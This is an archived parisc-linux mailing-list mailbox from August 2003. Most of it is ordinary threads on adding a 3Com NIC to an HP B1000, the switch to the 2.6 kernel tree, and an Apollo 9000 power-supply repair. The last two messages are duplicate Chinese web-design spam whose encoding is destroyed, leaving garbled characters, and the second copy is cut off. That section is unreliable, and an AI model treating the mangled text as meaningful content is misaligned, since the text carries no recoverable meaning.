	by dsl2.external.hp.com (Postfix) with ESMTP id 18DE6482E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Aug 2003 10:04:13 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout1.tiscali.be with esmtp (Tiscali) 
	id 19knC3-0005PJ-00; Thu, 07 Aug 2003 18:00:47 +0200
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP; Thu, 7 Aug 2003 18:04:05 +0200
In-Reply-To: <20030807083620.21079.h004.c009.wm@mail.canada.com.criticalpath.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19129

> Ive been trying for 5 days not to get a second nic
>installed into hp b1000 using pa-risc woody 3
>
>iv read all i can find , been to all the irc chnls 
>im at a loss here 
>
>it may be the 3com 3C95x pci card does not work in this
>box 
>
>it should work with debian 
>the card does work in i386 box 
>the builtin nic works fine
>
>can this be done? if so is there a howto ?
>if this card is not supported what nic cards are ? 

For my part, I run successfully a Debian on a b2k with 2 nic (the builtin
and an additional) since a long time but it is an hp product.

I also try some stuff coming from i386: an OEM hp equinox pci card (which
Grant use successfully on a i386) but the driver doesn't yet work on hppa;
also in the same case an ATI gfx card,... (for this last I am awaiting that
2.6 run on my b2k to investigate more because ATI drivers are already improved
in 2.6 :-))

Joel


------------------------------------------------------
Soldes Tiscali ADSL : 27,50 euros/mois jusque fin 2003.
On s'habitue vite  payer son ADSL moins cher!
Plus d'info? Cliquez ici... http://reg.tiscali.be/default.asp?lg=fr 




From - Thu Nov 08 21:28:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] adding a second nic to B1000
Date: Thu, 7 Aug 2003 09:59:19 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20030807165919.GF4979@tausq.org>
References: <20030807091916.8745.h006.c009.wm@mail.canada.com.criticalpath.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622658 28891 80.91.229.3 (22 Nov 2014 02:17:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: geos@canada.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  7 10:55:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 595C6482E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Aug 2003 10:55:40 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id D642DCD2FC; Thu,  7 Aug 2003 09:59:19 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20030807091916.8745.h006.c009.wm@mail.canada.com.criticalpath.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19130

Please reply to the list, not to me privately.

In reference to a message from geos@canada.com, dated Aug 07:
> I will try that later tonite 
> i cannot get the 3c95x.c to compile or when i do it
> tells me its compiled for the wrong kerel 

this looks like a generic module compiling problem, not hppa specific...
have you done this before succesfully? Are you building a module from
the same tree where you built the kernel you are running? I just tried
this against 2.4 cvs and it works fine.

> modconf does not show this nic in the list

is the module installed in /lib/modules/`uname -r` ?

> make config did not change anything 

what did you expect it to do?

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:28:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@hp.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.5 -> 2.6 tree switch tomorrow
Date: Thu, 07 Aug 2003 11:11:48 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <20030807171149.B2A7A7306A@fc.hp.com>
References: <20030806184826.GA11934@ldl.fc.hp.com>
Reply-To: bame@hp.com
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622658 28896 80.91.229.3 (22 Nov 2014 02:17:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:38 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: bame@ldl.fc.hp.com (Paul Bame)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  7 11:11:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id B030A482E
	for <parisc-linux@parisc-linux.org>; Thu,  7 Aug 2003 11:11:50 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1.fc.hp.com [15.15.136.127])
	by atlrel8.hp.com (Postfix) with ESMTP id 4C6371C00AA8
	for <parisc-linux@parisc-linux.org>; Thu,  7 Aug 2003 13:11:50 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp1.fc.hp.com (Postfix) with ESMTP id 04E9638117
	for <parisc-linux@parisc-linux.org>; Thu,  7 Aug 2003 11:11:50 -0600 (MDT)
Original-Received: from fc.hp.com (paul.bame [10.66.2.7])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id CA7511340D5; Thu,  7 Aug 2003 11:11:49 -0600 (MDT)
Original-Received: by fc.hp.com (Postfix, from userid 16602)
	id B2A7A7306A; Thu,  7 Aug 2003 11:11:49 -0600 (MDT)
Original-Received: from paul.bame (localhost [127.0.0.1])
	by fc.hp.com (Postfix) with ESMTP
	id AE6F362C7C; Thu,  7 Aug 2003 11:11:49 -0600 (MDT)
In-Reply-To: Message from bame@ldl.fc.hp.com (Paul Bame) 
   of "Wed, 06 Aug 2003 12:48:26 MDT." <20030806184826.GA11934@ldl.fc.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19131

The linux-2.6 tree is now ready for business and the linux-2.5 tree is
frozen.  Tarball (which could be used to seed a CVS tree) and patch
at the usual place:

    http://cvs.parisc-linux.org/download/linux-2.6/

FYI We are using a different CVS branch architecture which should be
completely transparent most of the time.  I'll get a description of
it out soon.

Autobuilt kernels to follow at some point.  FYI the 2.4 autobuilder
is currently off line.

	-P


From - Thu Nov 08 21:28:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: geos@canada.com
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] adding a second nic to B1000
Date: Thu, 07 Aug 2003 11:01:40 -0700 (PDT)
Lines: 68
Approved: news@gmane.org
Message-ID: <20030807110141.25427.h020.c009.wm@mail.canada.com.criticalpath.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622658 28898 80.91.229.3 (22 Nov 2014 02:17:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  7 12:01:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from c009.snv.cp.net (h018.c009.snv.cp.net [209.228.34.131])
	by dsl2.external.hp.com (Postfix) with SMTP id EF6D2482E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Aug 2003 12:01:42 -0600 (MDT)
Original-Received: (cpmta 12626 invoked from network); 7 Aug 2003 11:01:42 -0700
Original-Received: from 209.228.34.133 (HELO mail.canada.com.criticalpath.net)
  by smtp.canada.com (209.228.34.131) with SMTP; 7 Aug 2003 11:01:41 -0700
X-Sent: 7 Aug 2003 18:01:41 GMT
Original-Received: from [206.47.0.172] by mail.canada.com with HTTP; Thu,
    07 Aug 2003 11:01:40 -0700 (PDT)
Content-Disposition: inline
X-Sent-From: geos@canada.com
X-Mailer: Web Mail 5.5.0-3_sol28
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19132

Sorry about that 
im kinda new to this if you cant tell ;)
make config allowed me to select what nic drivers i
wanted but this did not compile or load the new driver  

i will have to get the exact errors msg's when i get
back home 

i ran the recompile kernal found here 
http://www.parisc-linux.org/kernel/index.html
using Simple Recipe to Build a Kernel 

this added the source to /usr/src/linux
that source should be the same as my kernal 
after doing that i did this 
http://www.scyld.com/expert/modules.html
needed to get lib6,cvs after a net-install to do this 

the common error after compileing and doing a insmod
3c95x.o
was "this was compiled for 2.4.18 and this version is
for 2.4.19" 
so i copy the 3c95x.c from the 2.4.19 kernel and did it
again now i get an error like this will not function 

ill get better errors msgs tonight

am i doing this all wrong ?







> 
> Please reply to the list, not to me privately.
> 
> In reference to a message from geos@canada.com, dated
> Aug 07:
> > I will try that later tonite 
> > i cannot get the 3c95x.c to compile or when i do it
> > tells me its compiled for the wrong kerel 
> 
> this looks like a generic module compiling problem,
not
> hppa specific...
> have you done this before succesfully? Are you
building
> a module from
> the same tree where you built the kernel you are
> running? I just tried
> this against 2.4 cvs and it works fine.
> 
> > modconf does not show this nic in the list
> 
> is the module installed in /lib/modules/`uname -r` ?
> 
> > make config did not change anything 
> 
> what did you expect it to do?
> 
> randolph
> -- 
> Randolph Chung
> Debian GNU/Linux Developer, hppa/ia64 ports
> http://www.tausq.org/


From - Thu Nov 08 21:28:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Apollo 9000 power problem
Date: Thu, 07 Aug 2003 23:58:36 +0200
Organization: private
Lines: 52
Approved: news@gmane.org
Message-ID: <3F32CB8C.9060407@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622659 28903 80.91.229.3 (22 Nov 2014 02:17:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:39 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>,
	pappy@nikita.ath.cx
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  7 15:58:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep11-int.chello.at (viefep11-int.chello.at [213.46.255.27])
	by dsl2.external.hp.com (Postfix) with ESMTP id 48F4D482E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Aug 2003 15:58:41 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep11-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP
          id <20030807215839.ZFZY23479.viefep11-int.chello.at@gmx.at>;
          Thu, 7 Aug 2003 23:58:39 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19133

Hello HP Hackers !

I have a work around for the POWER SUPPLY Problem.

Using schematics and analysing this very very hard thing,
I found out, that the problem we all have was created
by an exploded capacitor.

The thing running out of the capacitor mixed with the dust
in the machine generates an resistor on the PCB board.

On the low voltage end of the power supply (near front),
ther is a small SIM-like module which does the supervision of
all volatage lines (plus over current protection) and which
generates the reset impuls.

Now to the problem. The line coming from the current measure
transformer is the neighbour line of the -12V line. Because
of the electrical resistor because of the dust, etc, the
negative voltage comes to the current supervision line, and
therefore one supervision comperator does a wrong failure
reaction !

Workaround:

- step 1 -
Try to clean the space on the PCB around this supervison module.
(I soldered it out for cleaning, a resoldered it in)..

- step 2 -
This helps. But after weeks the problem returned again ....
I soldered in a resistor between the +Vaux (about 12..16V)
and this current measure line to compensate this negativ
voltage of the -12V line.
This is no relevant impact to the over-current protection,
as the resistor has a high value against the measurement
output.

This worked for me.
If you need help on this, please contact me ...

Christoph




-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at



From - Thu Nov 08 21:28:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Status E55 - or family
Date: Fri, 08 Aug 2003 00:02:33 +0200
Organization: private
Lines: 25
Approved: news@gmane.org
Message-ID: <3F32CC79.8090507@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622659 28906 80.91.229.3 (22 Nov 2014 02:17:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:39 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  7 16:02:38 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep16-int.chello.at (viefep16-int.chello.at [213.46.255.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91C0F482E
	for <parisc-linux@lists.parisc-linux.org>; Thu,  7 Aug 2003 16:02:37 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep16-int.chello.at
          (InterMail vM.5.01.05.17 201-253-122-126-117-20021021) with ESMTP
          id <20030807220236.BCTI2361.viefep16-int.chello.at@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Fri, 8 Aug 2003 00:02:36 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19134

Hello PA RISC hackers ...

Are there any news concerning the E55 (or family) stuff.

Now I have not hacked on PA RISC linux for a longer time.

Are there news on the MUX supporting more then 1 port ?
Are there news on the SCSI driver ?
The last status was, that all access to this device was done in
"empty" io space ...

Are there news concerning my NDA ??!!

Please reply

Christoph



-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at



From - Thu Nov 08 21:28:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "dq" <linyu921@sina.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?zqrE+r2oo6jW0NOizsSjqcbz0rXN+NW+?=
Date: Fri, 8 Aug 2003 14:26:49 +0800
Lines: 190
Approved: news@gmane.org
Message-ID: <20030808062451.389634937@dsl2.external.hp.com>
Reply-To: linyu921@sina.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622659 28908 80.91.229.3 (22 Nov 2014 02:17:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:39 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  8 00:24:54 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sina.com (unknown [211.147.255.241])
	by dsl2.external.hp.com (Postfix) with ESMTP id 389634937
	for <parisc-linux@parisc-linux.org>; Fri,  8 Aug 2003 00:24:51 -0600 (MDT)
X-Priority: 3
X-Mailer: FoxMail 3.11 Release [cn]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19135

ΪӢģҵվ
------------------------
ҪԻƣģ档
 վչܹӦҵ޷չҪ
 к̨ܣվɺ󣬽Լ¹
-----------------------------
˾Ϊվ¹ܣ

 1.Ʒչʾ-չʾĲƷͼĲï༶̨࣬
 2.̵-ͻֱѡĲƷ̵һ
 3.Ʒ-ͻͨƷơ𡢹ؼʵȲĲƷ
 4.ͻ-ԲͬͻԱɽзּȨޡ
 5.Ʒ-ͻֱ¶ĲƷ
 6.ͻ-ͻֱϸԣ
 7.ŷ-ֱӷ˾š֪ͨϢȡ
 8.Ա-Ϊⲿ̳ҲΪ˾ڲԱͨƽ̨
 9.ϵ-趨κ⣬ͻԱ˽˽顣
10.ʼб-ռͻϣͻϢ
11.Ϻؿ-Ҫգͻ;ؿǿͻĸ顣
12.ҵʾ-վͬҵʾ֣ҵĶ
13.̨-ϹܣԼƹרҵԱ

ҲԴ5Уѡһʺ˾վ?
-----------------------------
(һ) ҵվ(Ӣ)

 11
 2100ռ䣻
 3վƣ
 41Ӣվӭҳ
 51վҳ
 61Ӣվҳ                    
 75վҳ
 85Ӣվҳ
 9վӢվ
10Gifťͣť
11LogoGif
12BannerGif
13վԶڸ2(Ӣ)
14ӭҳ߼1ף
15õտͻ;
16άվ1ꣻ
17ƽÿ¸վ2ҳΡ
--------------------------
() ׼ҵվ(Ӣ)

 11
 2120ռ䣻
 31ҵͬ䣻
 4վƣ
 51Ӣվӭҳ
 61վҳ
 71Ӣվҳ                   
 810վҳ       
 910Ӣվҳ
10Gifťͣť
11Flash1
12LogoGif
13Banner̬
14Ч1
15վӢվ
16վԶڸ2(Ӣ)
17ӭҳ߼1ף
18õտͻԣ
19ЧͼƬӢĹ2
20ĻӢĹ2
21άվ1ꣻ
22ƽÿ¸վ4ҳΣ
---------------------------
() ҵվ(Ӣ)

 11
 2150ռ䣻
 35ҵͬ䣻
 4Ӣվƣ
 51Ӣվӭҳ
 61վҳ
 720վҳ
 8վӢվ
 91Ӣվҳ
1020Ӣվҳ
11Gifťͣť̬ť
12Flash2
13Ƶ1
14Ч1
15LogoGif
16Banner̬
17̬1
18վԶڸ2(Ӣ)
19ҳ߼
20ݿտͻ
21ЧͼƬӢĹ4
22ЧҳӢĹ2
23Ļ棨šţӢĹ4
24άվ1ꣻ
25ƽÿ¸վ8ҳΣ
26ҪԼάѵ1ܣ1ס
---------------------------
() ҵվ(Ӣ)

 11
 2200ռ䣻
 310ҵͬ䣻
 4Ӣվƣ
 51Ӣվӭҳ
 61վҳ
 740վҳ
 8վӢվ
 91Ӣվҳ
1040Ӣվҳ
11Gifťͣť̬ť
12Flash4
13Ƶ2
14Ч1
15ҳ1
16LogoGif
17Banner̬
18̬2
19վԶڸ2(Ӣ)
20ҳ߼
21άվ1ꣻ
22ЧͼƬӢĹ6
23ЧҳӢĹ4
24ݿտͻԣ
25Ļ棨šţӢĹ6
26ݿտͻ
27ݿƷ
28ƽÿ¸վ16ҳΣ
29ҪԼάѵ2ܣ2ס
30óƵ--óƵͨ1ס
---------------------------
() ҵվ(Ӣ)

 11
 2300ռ䣻
 320ҵͬ䣻
 4Ӣվƣ
 51Ӣվӭҳ
 61վҳ
 780վҳ
 8վӢվ
 91Ӣվҳ
1080Ӣվҳ
11Gifťͣť̬ť
12Flash8
13Ƶ3
14Ч2
15ҳ2
16LogoGif
17Banner̬
18̬3
19ĿҳӢĿҳ
20վԶڸ2(Ӣ)
21ҳ߼
22ͻ԰2(Ӣ)
23ݿտͻԣ
24Ļ棨šţӢĹ8
25ЧͼƬӢĹ8
26ЧҳӢĹ6
27ݿտͻԡͻ
28ݿԱ
29ʼбռÿʼַ͹棻
30ݿƷ
31άվ1ꣻ
32ƽÿ¸վ32ҳΣ
33ҪԼάѵ3ܣ3ף
34óƵ--óҵͨ1ס
--------------------------- 
˾һҴóҵ"Ӧо""繤̽""ýӰӶ
"רҵ˾רΪҹó˾ҵּ
ӦϵͳվԼҵýӰӶƬ

˾ڹóٻֺ֧֯£ɹԭ֤
ϵͳóƵͨóҵͨϵóӦ
ƷܵóҵĻӭ    

ͬʱҵϵ˾ŷ塢ձ
ǵȵʮҲɹ̡СԼõĺ
ϵȥһ࣬˾Ѱɹڹҵʵ
ڲƷٳɶڳóס
 -----------------------------
˾г޹˾
ַмô԰6¥9E
绰020-85580234ת19 20
棺020-85581405
ֻ13640327836
䣺linyu921@sina.com
-----------------------------



From - Thu Nov 08 21:28:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "dq" <linyu921@sina.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] =?GB2312?B?zqrE+r2oo6jW0NOizsSjqcbz0rXN+NW+?=
Date: Fri, 8 Aug 2003 14:26:51 +0800
Lines: 190
Approved: news@gmane.org
Message-ID: <20030808062452.C42414964@dsl2.external.hp.com>
Reply-To: linyu921@sina.com
NNTP-Posting-Host: plane.gmane.org
Content-Type: text/plain;charset="GB2312"
X-Trace: ger.gmane.org 1416622660 28915 80.91.229.3 (22 Nov 2014 02:17:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:17:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  8 00:24:56 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sina.com (unknown [211.147.255.241])
	by dsl2.external.hp.com (Postfix) with ESMTP id C42414964
	for <parisc-linux@lists.parisc-linux.org>; Fri,  8 Aug 2003 00:24:52 -0600 (MDT)
X-Priority: 3
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19136

ΪӢģҵվ
------------------------
ҪԻƣģ档
 վչܹӦҵ޷չҪ
 к̨ܣվɺ󣬽Լ¹
-----------------------------
˾Ϊվ¹ܣ

 1.Ʒչʾ-չʾĲƷͼĲï༶̨࣬
 2.̵-ͻֱѡĲƷ̵һ
 3.Ʒ-ͻͨƷơ𡢹ؼʵȲĲƷ
 4.ͻ-ԲͬͻԱɽзּȨޡ
 5.Ʒ-ͻֱ¶ĲƷ
 6.ͻ-ͻֱϸԣ
 7.ŷ-ֱӷ˾š֪ͨϢȡ
 8.Ա-Ϊⲿ̳ҲΪ˾ڲԱͨƽ̨
 9.ϵ-趨κ⣬ͻԱ˽˽顣
10.ʼб-ռͻϣͻϢ
